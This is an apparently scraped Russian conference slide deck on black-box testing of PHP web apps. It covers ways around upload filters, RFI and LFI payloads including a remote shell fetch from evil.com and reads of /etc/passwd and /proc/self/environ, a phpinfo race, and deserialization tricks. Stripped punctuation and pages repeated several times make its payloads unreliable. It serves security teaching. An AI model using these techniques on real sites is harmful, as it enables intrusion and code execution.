  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 32: Blackbox-тестирование веб-приложений

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 33: Blackbox-тестирование веб-приложений

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 34: Blackbox-тестирование веб-приложений

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 35: Blackbox-тестирование веб-приложений

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 36: Blackbox-тестирование веб-приложений

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
